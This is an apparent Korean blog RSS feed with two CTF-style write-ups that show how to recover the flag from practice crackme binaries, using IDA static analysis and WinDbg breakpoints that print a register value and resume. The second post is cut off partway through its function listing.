<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>Five-GaH</title>
    <link>https://gahyun0123.tistory.com/</link>
    <description></description>
    <language>ko</language>
    <pubDate>Mon, 20 Jul 2026 08:11:28 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>whffu0123</managingEditor>
    <item>
      <title>WinDbg 2</title>
      <link>https://gahyun0123.tistory.com/27</link>
      <description>&lt;p data-ke-size=&quot;size16&quot; style=&quot;text-align: left;&quot;&gt;&lt;/p&gt;&lt;h1&gt;WinDbg 2 Write-up&lt;/h1&gt;&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;&lt;li&gt;&lt;b&gt;pdb(심볼)가 없다&lt;/b&gt; → 함수 이름이 안 보여서 IDA로 정적 분석해 주소를 직접 찾아야 한다.&lt;/li&gt;&lt;li&gt;&lt;b&gt;flag가 한 번에 안 보인다&lt;/b&gt; → 한 글자씩 32번에 걸쳐 만들어지므로 da 한 방으로 못 읽는다.&lt;/li&gt;&lt;/ol&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 이 문제는 &lt;b&gt;IDA(정적)와 WinDbg(동적)를 협력&lt;/b&gt;시켜서 풀었다.&lt;/p&gt;&lt;hr data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot;&gt;&lt;h2 data-ke-size=&quot;size26&quot;&gt;핵심 전략&lt;/h2&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;main 코드를 보면 flag를 통째로 만드는 게 아니라, 변환 함수(sub_140001000)가 &lt;b&gt;매 반복마다 flag 한 글자를 반환&lt;/b&gt;하고 그것을 내 입력과 한 글자씩 비교한다 (총 32회).&lt;br&gt;따라서 전략은:&lt;/p&gt;&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;&lt;li&gt;IDA로 &quot;변환 함수 호출 직후, 반환값(al)에 flag 한 글자가 있는 지점&quot;의 주소를 찾고&lt;/li&gt;&lt;li&gt;WinDbg에서 그 지점에 &lt;b&gt;자동화 중단점&lt;/b&gt;을 걸어, 32번 반복되는 동안 al을 긁어모은다.&lt;/li&gt;&lt;/ul&gt;&lt;pre class=&quot;x86asm&quot;&gt;&lt;code&gt;[IDA - 정적 분석]                        [WinDbg - 동적 분석]
main 디컴파일 → 루프 구조 파악      →     그 RVA(0x1A80)에 자동화 bp
call 변환함수 직후 = al에 flag 글자  →     .printf &quot;%c&quot;, @al; g 로
그 주소 RVA 0x1A80 확보                    32글자 자동 수집 → flag
&lt;/code&gt;&lt;/pre&gt;&lt;hr data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot;&gt;&lt;h1&gt;PART 1 — IDA로 정적 분석&amp;nbsp;&lt;/h1&gt;&lt;h2 data-ke-size=&quot;size26&quot;&gt;1단계 — 바이너리 열기&lt;/h2&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;IDA Freeware로 windbg_exercise.exe를 열고 자동 분석을 기다린다.&lt;/p&gt;&lt;h3 data-ke-size=&quot;size23&quot;&gt;사고 과정&lt;/h3&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;pdb가 없으니 함수는 sub_140001XXX 같은 자동 이름으로만 보인다. main이 어디인지 스스로 찾아야 한다.&lt;/p&gt;&lt;h2 data-ke-size=&quot;size26&quot;&gt;2단계 — 문자열로 main 찾기&lt;/h2&gt;&lt;h3 data-ke-size=&quot;size23&quot;&gt;사고 과정&lt;/h3&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;main은 반드시 &quot;FLAG: &quot; 같은 문자열을 참조한다. 문자열에서 역추적하면 main에 도달한다.&lt;/p&gt;&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;Shift+F12(Strings)로 문자열 목록을 열어 &quot;FLAG: &quot;를 더블클릭. .rdata에서 문자열들과 함께 중요한 것을 발견:&lt;/p&gt;&lt;pre class=&quot;basic&quot;&gt;&lt;code&gt;140003260  Format    db 'FLAG: ',0        ; DATA XREF: main+1E
140003268  a32s      db '%32s',0          ; DATA XREF: main+2F
140003270  aCorrect  db 'Correct!',0Ah,0  ; DATA XREF: main+72
140003280  aWrong    db 'Wrong!',0Ah,0    ; DATA XREF: main+3D
140003288  unk_140003288  db 27h,63h,82h,3Dh,0D4h,19h,4Ah,86h ...  ← flag 원본 데이터!
&lt;/code&gt;&lt;/pre&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;FLAG: &quot; 옆의 상호 참조 'main+1E'를 더블클릭 → main 함수로 점프.&lt;/p&gt;&lt;h3 data-ke-size=&quot;size23&quot;&gt;알아낸 것&lt;/h3&gt;&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;&lt;li&gt;상호 참조(XREF)로 main을 찾았다.&lt;/li&gt;&lt;li&gt;140003288부터의 이상한 바이트 배열이 flag의 &lt;b&gt;원본 데이터&lt;/b&gt;다 (변환 전).&lt;/li&gt;&lt;/ul&gt;&lt;h2 data-ke-size=&quot;size26&quot;&gt;3단계 — main 디컴파일&amp;nbsp;&lt;/h2&gt;&lt;h3 data-ke-size=&quot;size23&quot;&gt;한 일&lt;/h3&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;main 안에서 F5를 눌러 디컴파일:&lt;/p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1456&quot; data-origin-height=&quot;814&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/s3QIW/dJMcad3Nf7k/5P5mJnBaHrGdJPslZ7XHj1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/s3QIW/dJMcad3Nf7k/5P5mJnBaHrGdJPslZ7XHj1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/s3QIW/dJMcad3Nf7k/5P5mJnBaHrGdJPslZ7XHj1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fs3QIW%2FdJMcad3Nf7k%2F5P5mJnBaHrGdJPslZ7XHj1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1456&quot; height=&quot;814&quot; data-origin-width=&quot;1456&quot; data-origin-height=&quot;814&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;알아낸 것 (읽어낸 것)&lt;/h3&gt;&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;&lt;li&gt;scanf(&quot;%32s&quot;, v9) → 내 입력은 v9(=[rsp+20h])에 저장.&lt;/li&gt;&lt;li&gt;do...while(v3 &amp;lt; 32) → &lt;b&gt;32번 반복&lt;/b&gt;.&lt;/li&gt;&lt;li&gt;v5 = sub_140001000(원본[v3]) → 변환 함수가 flag 한 글자를 반환 (v5는 al).&lt;/li&gt;&lt;li&gt;if (v5 == v9[v3]) → 변환결과와 내 입력을 &lt;b&gt;한 글자씩 비교&lt;/b&gt;.&lt;/li&gt;&lt;li&gt;결론: &lt;b&gt;v5(변환결과)를 32번 모으면 flag.&lt;/b&gt; 변환 함수 내부는 분석할 필요 없다.&lt;/li&gt;&lt;/ul&gt;&lt;h2 data-ke-size=&quot;size26&quot;&gt;4단계 — 정확한 주소 찾기 (Tab → 어셈블리)&lt;/h2&gt;&lt;h3 data-ke-size=&quot;size23&quot;&gt;사고 과정&lt;/h3&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;변환 결과(al)를 언제 훔쳐볼 수 있는가?&quot; → call sub_140001000이 끝난 &lt;b&gt;직후&lt;/b&gt;, al에 반환값이 담긴 순간. 그 지점의 주소를 알아야 한다.&lt;br&gt;디컴파일 창에서 sub_140001000 호출 줄을 클릭하고 Tab으로 어셈블리 전환. Options → Disassembly → Line prefixes를 켜서 주소를 표시. 루프 확인:&lt;/p&gt;&lt;pre class=&quot;x86asm&quot;&gt;&lt;code&gt;loc_140001A77:
140001A77   movzx  ecx, byte ptr [rbx+rsi]   ; 원본[rbx]를 ecx로
140001A7B   call   sub_140001000             ; 변환 함수 호출 → al에 결과
140001A80   xor    edx, edx                  ; ★ call 직후! (al에 flag 글자)
140001A86   cmp    al, [rsp+rbx+20h]          ; al을 내 입력과 비교 → al이 flag!
140001A97   jl     loc_140001A77             ; 32번 반복
&lt;/code&gt;&lt;/pre&gt;&lt;h3 data-ke-size=&quot;size23&quot;&gt;알아낸 것&lt;/h3&gt;&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;&lt;li&gt;call sub_140001000 직후 = **0x140001A80**에서 al = flag 한 글자.&lt;/li&gt;&lt;li&gt;바로 다음 cmp al, [내입력]이 al을 쓰는 것으로 보아 al이 변환결과임이 확실.&lt;/li&gt;&lt;/ul&gt;&lt;h2 data-ke-size=&quot;size26&quot;&gt;5단계 — RVA 변환&lt;/h2&gt;&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;0x140001A80 - 0x140000000(ImageBase) = 0x1A80
&lt;/code&gt;&lt;/pre&gt;&lt;h3 data-ke-size=&quot;size23&quot;&gt;IDA 최종 산출물&lt;/h3&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;노릴 지점의 RVA = 0x1A80&lt;/b&gt;&lt;/p&gt;&lt;hr data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot;&gt;&lt;h1&gt;PART 2 — WinDbg로 동적 분석&amp;nbsp;&lt;/h1&gt;&lt;h2 data-ke-size=&quot;size26&quot;&gt;1단계 — 실행 &amp;amp; 모듈 확인&lt;/h2&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;File → Launch executable로 실행. lm으로 모듈 확인:&lt;/p&gt;&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;00007ff6`116c0000 00007ff6`116c8000   windbg_exercise C (no symbols)
&lt;/code&gt;&lt;/pre&gt;&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;&lt;li&gt;모듈 이름: windbg_exercise&lt;/li&gt;&lt;li&gt;이미지 베이스: 00007ff6'116c0000 (pdb 없어서 (no symbols))&lt;/li&gt;&lt;/ul&gt;&lt;h2 data-ke-size=&quot;size26&quot;&gt;2단계 — 자동화 중단점 설정&lt;/h2&gt;&lt;h3 data-ke-size=&quot;size23&quot;&gt;사고 과정&lt;/h3&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;flag가 한 글자씩 32번 나타나므로, 매번 수동으로 멈춰서 al을 읽는 건 비효율적이다. 지난 강의에서 배운 &lt;b&gt;CommandString&lt;/b&gt;으로 &quot;걸릴 때마다 al 출력 후 자동 재개&quot;를 만든다.&lt;/p&gt;&lt;pre class=&quot;lsl&quot;&gt;&lt;code&gt;bp windbg_exercise+0x1A80 &quot;.printf \&quot;%c\&quot;, @al; g&quot;
bl
&lt;/code&gt;&lt;/pre&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;bl로 확인 (실제 주소 = 이미지베이스 + 0x1A80):&lt;/p&gt;&lt;pre class=&quot;basic&quot;&gt;&lt;code&gt;0 e  00007ff6`116c1a80  windbg_exercise+0x1a80 &quot;.printf \&quot;%c\&quot;, @al; g&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;&lt;li&gt;windbg_exercise+0x1A80 → IDA에서 찾은 지점 (WinDbg가 실제 주소 116c1a80 계산)&lt;/li&gt;&lt;li&gt;.printf &quot;%c&quot;, @al → 걸릴 때마다 al을 문자 하나로 출력&lt;/li&gt;&lt;li&gt;; g → 출력 후 자동 재개&lt;/li&gt;&lt;/ul&gt;&lt;h2 data-ke-size=&quot;size26&quot;&gt;3단계 — 실행 &amp;amp; flag 수집&lt;/h2&gt;&lt;h3 data-ke-size=&quot;size23&quot;&gt;사고 과정&lt;/h3&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;flag는 내 입력과 무관하게 생성되므로 아무거나 입력한다. 중단점이 32번 걸리며 al 32글자가 자동으로 출력된다.&lt;br&gt;&amp;nbsp;&lt;br&gt;콘솔에 FLAG: 등장 → 아무 값 입력 → 루프 32회 → Command 창에 flag 완성:&lt;br&gt;(} 뒤 ModLoad:는 WinDbg 출력이므로 무시)&lt;/p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1568&quot; data-origin-height=&quot;343&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bts0ai/dJMcaf1CG7z/q603byCRLwFutxTGc3WAwK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bts0ai/dJMcaf1CG7z/q603byCRLwFutxTGc3WAwK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bts0ai/dJMcaf1CG7z/q603byCRLwFutxTGc3WAwK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbts0ai%2FdJMcaf1CG7z%2Fq603byCRLwFutxTGc3WAwK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1568&quot; height=&quot;343&quot; data-origin-width=&quot;1568&quot; data-origin-height=&quot;343&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;4단계 — 검증&lt;/h2&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;프로그램 재실행 → FLAG:에 얻은 flag 입력 → Correct! 확인.&lt;/p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;965&quot; data-origin-height=&quot;263&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/z0qEX/dJMcabEVMQw/49e7xhc6nqU5GNAyHywW21/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/z0qEX/dJMcabEVMQw/49e7xhc6nqU5GNAyHywW21/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/z0qEX/dJMcabEVMQw/49e7xhc6nqU5GNAyHywW21/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fz0qEX%2FdJMcabEVMQw%2F49e7xhc6nqU5GNAyHywW21%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;965&quot; height=&quot;263&quot; data-origin-width=&quot;965&quot; data-origin-height=&quot;263&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;hr data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot;&gt;&lt;h2 data-ke-size=&quot;size26&quot;&gt;사용한 명령어 정리&lt;/h2&gt;&lt;h3 data-ke-size=&quot;size23&quot;&gt;IDA&lt;/h3&gt;&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: justify;&quot;&gt;Shift+F12&lt;/td&gt;&lt;td style=&quot;text-align: justify;&quot;&gt;문자열 목록 (Strings)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;text-align: justify;&quot;&gt;XREF main+1E 더블클릭&lt;/td&gt;&lt;td style=&quot;text-align: justify;&quot;&gt;문자열 사용처(main)로 점프&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;text-align: justify;&quot;&gt;F5&lt;/td&gt;&lt;td style=&quot;text-align: justify;&quot;&gt;디컴파일 (C 코드로)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;text-align: justify;&quot;&gt;Tab&lt;/td&gt;&lt;td style=&quot;text-align: justify;&quot;&gt;디컴파일 ↔ 어셈블리 전환&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;text-align: justify;&quot;&gt;Options → Line prefixes&lt;/td&gt;&lt;td style=&quot;text-align: justify;&quot;&gt;주소 표시 켜기&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;h3 data-ke-size=&quot;size23&quot;&gt;WinDbg&lt;/h3&gt;&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: justify;&quot;&gt;lm&lt;/td&gt;&lt;td style=&quot;text-align: justify;&quot;&gt;모듈 이름·이미지베이스 확인&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;text-align: justify;&quot;&gt;bp 모듈+0x1A80 &quot;.printf \&quot;%c\&quot;, @al; g&quot;&lt;/td&gt;&lt;td style=&quot;text-align: justify;&quot;&gt;자동화 중단점 (al 출력 후 재개)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;text-align: justify;&quot;&gt;bl&lt;/td&gt;&lt;td style=&quot;text-align: justify;&quot;&gt;중단점 확인&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;text-align: justify;&quot;&gt;.restart&lt;/td&gt;&lt;td style=&quot;text-align: justify;&quot;&gt;프로세스 재시작 (중단점 유지)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;text-align: justify;&quot;&gt;g&lt;/td&gt;&lt;td style=&quot;text-align: justify;&quot;&gt;실행/재개&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;hr data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot;&gt;&lt;h2 data-ke-size=&quot;size26&quot;&gt;WinDbg 1과 비교&lt;/h2&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 1번&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 2번&amp;nbsp;&lt;/p&gt;&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: justify;&quot;&gt;pdb 심볼&lt;/td&gt;&lt;td style=&quot;text-align: justify;&quot;&gt;있음 (함수 이름 보임)&lt;/td&gt;&lt;td style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;없음&lt;/b&gt; (IDA로 주소 직접 찾기)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;text-align: justify;&quot;&gt;flag 형태&lt;/td&gt;&lt;td style=&quot;text-align: justify;&quot;&gt;메모리에 통째로 완성&lt;/td&gt;&lt;td style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;한 글자씩 32번 생성&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;text-align: justify;&quot;&gt;정적 분석&lt;/td&gt;&lt;td style=&quot;text-align: justify;&quot;&gt;WinDbg u로 충분&lt;/td&gt;&lt;td style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;IDA 필요&lt;/b&gt; (문자열→main→디컴파일)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;text-align: justify;&quot;&gt;훔쳐보는 법&lt;/td&gt;&lt;td style=&quot;text-align: justify;&quot;&gt;da @rdx 한 방&lt;/td&gt;&lt;td style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;al을 32번 자동 수집&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;text-align: justify;&quot;&gt;핵심 기술&lt;/td&gt;&lt;td style=&quot;text-align: justify;&quot;&gt;중단점 + 메모리 읽기&lt;/td&gt;&lt;td style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;CommandString 자동화&lt;/b&gt; (.printf %c; g)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;text-align: justify;&quot;&gt;노리는 지점&lt;/td&gt;&lt;td style=&quot;text-align: justify;&quot;&gt;memcmp 직전&lt;/td&gt;&lt;td style=&quot;text-align: justify;&quot;&gt;변환 call &lt;b&gt;직후&lt;/b&gt; (al에 결과)&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;hr data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot;&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>CTF</category>
      <author>whffu0123</author>
      <guid isPermaLink="true">https://gahyun0123.tistory.com/27</guid>
      <comments>https://gahyun0123.tistory.com/27#entry27comment</comments>
      <pubDate>Sat, 18 Jul 2026 16:51:56 +0900</pubDate>
    </item>
    <item>
      <title>WinDbg 1</title>
      <link>https://gahyun0123.tistory.com/26</link>
      <description>&lt;h1&gt;WinDbg 1 Write-up&amp;nbsp;&lt;/h1&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;핵심 전략&amp;nbsp;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 문제의 flag는 하드코딩된 상수가 아니라 &lt;b&gt;gen_flag() 함수가 실행 중에 만들어낸다&lt;/b&gt;. 따라서 flag 생성 로직을 힘들게 역산하는 대신, &lt;b&gt;flag가 완성되어 memcmp로 넘어가는 순간 메모리를 훔쳐보는&lt;/b&gt; 동적 분석 전략을 택했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;전체 흐름:&lt;/p&gt;
&lt;pre class=&quot;cpp&quot;&gt;&lt;code&gt;[관찰]      일단 실행 &amp;rarr; &quot;입력 맞으면 통과, 틀리면 Wrong!&quot;인 프로그램임을 파악
   &amp;darr;
[정적 분석] main 디스어셈블 &amp;rarr; flag는 gen_flag가 만들고 memcmp에서 비교됨을 확인
   &amp;darr;            flag는 rdx, 내 입력은 rcx로 memcmp에 전달됨을 발견
   &amp;darr;
[동적 분석] memcmp에 중단점 &amp;rarr; 실행 &amp;rarr; 멈춘 순간 da @rdx로 flag 훔쳐보기
&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;1단계 &amp;mdash; 일단 실행하고 관찰&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;File &amp;rarr; Launch executable로 exe를 실행. WinDbg가 초기 브레이크에서 멈추므로 g로 진행.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;함정 노트&lt;/b&gt;: g를 한 번 치면 &quot;초기 브레이크(initial breakpoint)&quot;에서 멈춘다. 이건 DLL이 다 로드되고 main 실행 &lt;b&gt;직전&lt;/b&gt; 지점이다 (ntdll!LdrpDoDebuggerBreak, int 3). 프로그램을 실제로 실행하려면 g를 &lt;b&gt;한 번 더&lt;/b&gt; 쳐야 한다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;콘솔 창에 다음이 출력됨:&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1193&quot; data-origin-height=&quot;281&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/7sPaN/dJMcag0vNLC/uKnRs6K7NkzxwkxK1BK7k0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/7sPaN/dJMcag0vNLC/uKnRs6K7NkzxwkxK1BK7k0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/7sPaN/dJMcag0vNLC/uKnRs6K7NkzxwkxK1BK7k0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F7sPaN%2FdJMcag0vNLC%2FuKnRs6K7NkzxwkxK1BK7k0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1193&quot; height=&quot;281&quot; data-origin-width=&quot;1193&quot; data-origin-height=&quot;281&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;알아낸 것&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이 프로그램은 FLAG: 로 입력을 받는다.&lt;/li&gt;
&lt;li&gt;틀린 입력 &amp;rarr; Wrong! 출력.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2단계 &amp;mdash; 모듈 이름과 심볼을 확인한다&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;사고 과정&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프로그램 내부를 분석하려면 먼저 &quot;이 프로그램이 메모리 어디에 로드됐고, 이름이 뭔지&quot; 알아야 한다. 그리고 심볼(pdb)이 잡혔는지가 분석 난이도를 크게 좌우한다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;한 일&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Debug &amp;rarr; Restart로 재시작 후 (이번엔 g 치지 않고 초기 브레이크에서 분석 시작):&lt;/p&gt;
&lt;pre class=&quot;ebnf&quot;&gt;&lt;code&gt;lm
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;출력:&lt;/p&gt;
&lt;pre class=&quot;sql&quot;&gt;&lt;code&gt;start             end               module name
00007ff7`15690000 00007ff7`15698000   exercise_lecture   (private pdb symbols)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;알아낸 것&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;모듈 이름 :: exercise_lecture&lt;/li&gt;
&lt;li&gt;&lt;b&gt;(private pdb symbols)&lt;/b&gt; &amp;rarr; 심볼이 자동으로 잡혔다. exe와 pdb가 같은 폴더에 있어서 WinDbg가 읽어들였다. 함수 이름을 볼 수 있으니 분석이 훨씬 쉬워진다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3단계 &amp;mdash; 함수 목록에서 단서를 찾는다&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;사고 과정&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;심볼이 잡혔으니 함수 이름 목록을 보면 프로그램 구조에 대한 강력한 힌트를 얻을 수 있다. 특히 main(시작점)과 flag 관련 함수를 찾는다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;한 일&lt;/h3&gt;
&lt;pre class=&quot;erlang-repl&quot;&gt;&lt;code&gt;x exercise_lecture!*
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;수많은 CRT 초기화 함수들 사이에서 핵심만 추림:&lt;/p&gt;
&lt;pre class=&quot;bash&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;00007ff7`15691330  exercise_lecture!main       &amp;larr; 메인 함수
00007ff7`156911c0  exercise_lecture!gen_flag   &amp;larr; flag 생성 함수 
00007ff7`15691070  exercise_lecture!printf     &amp;larr; 출력
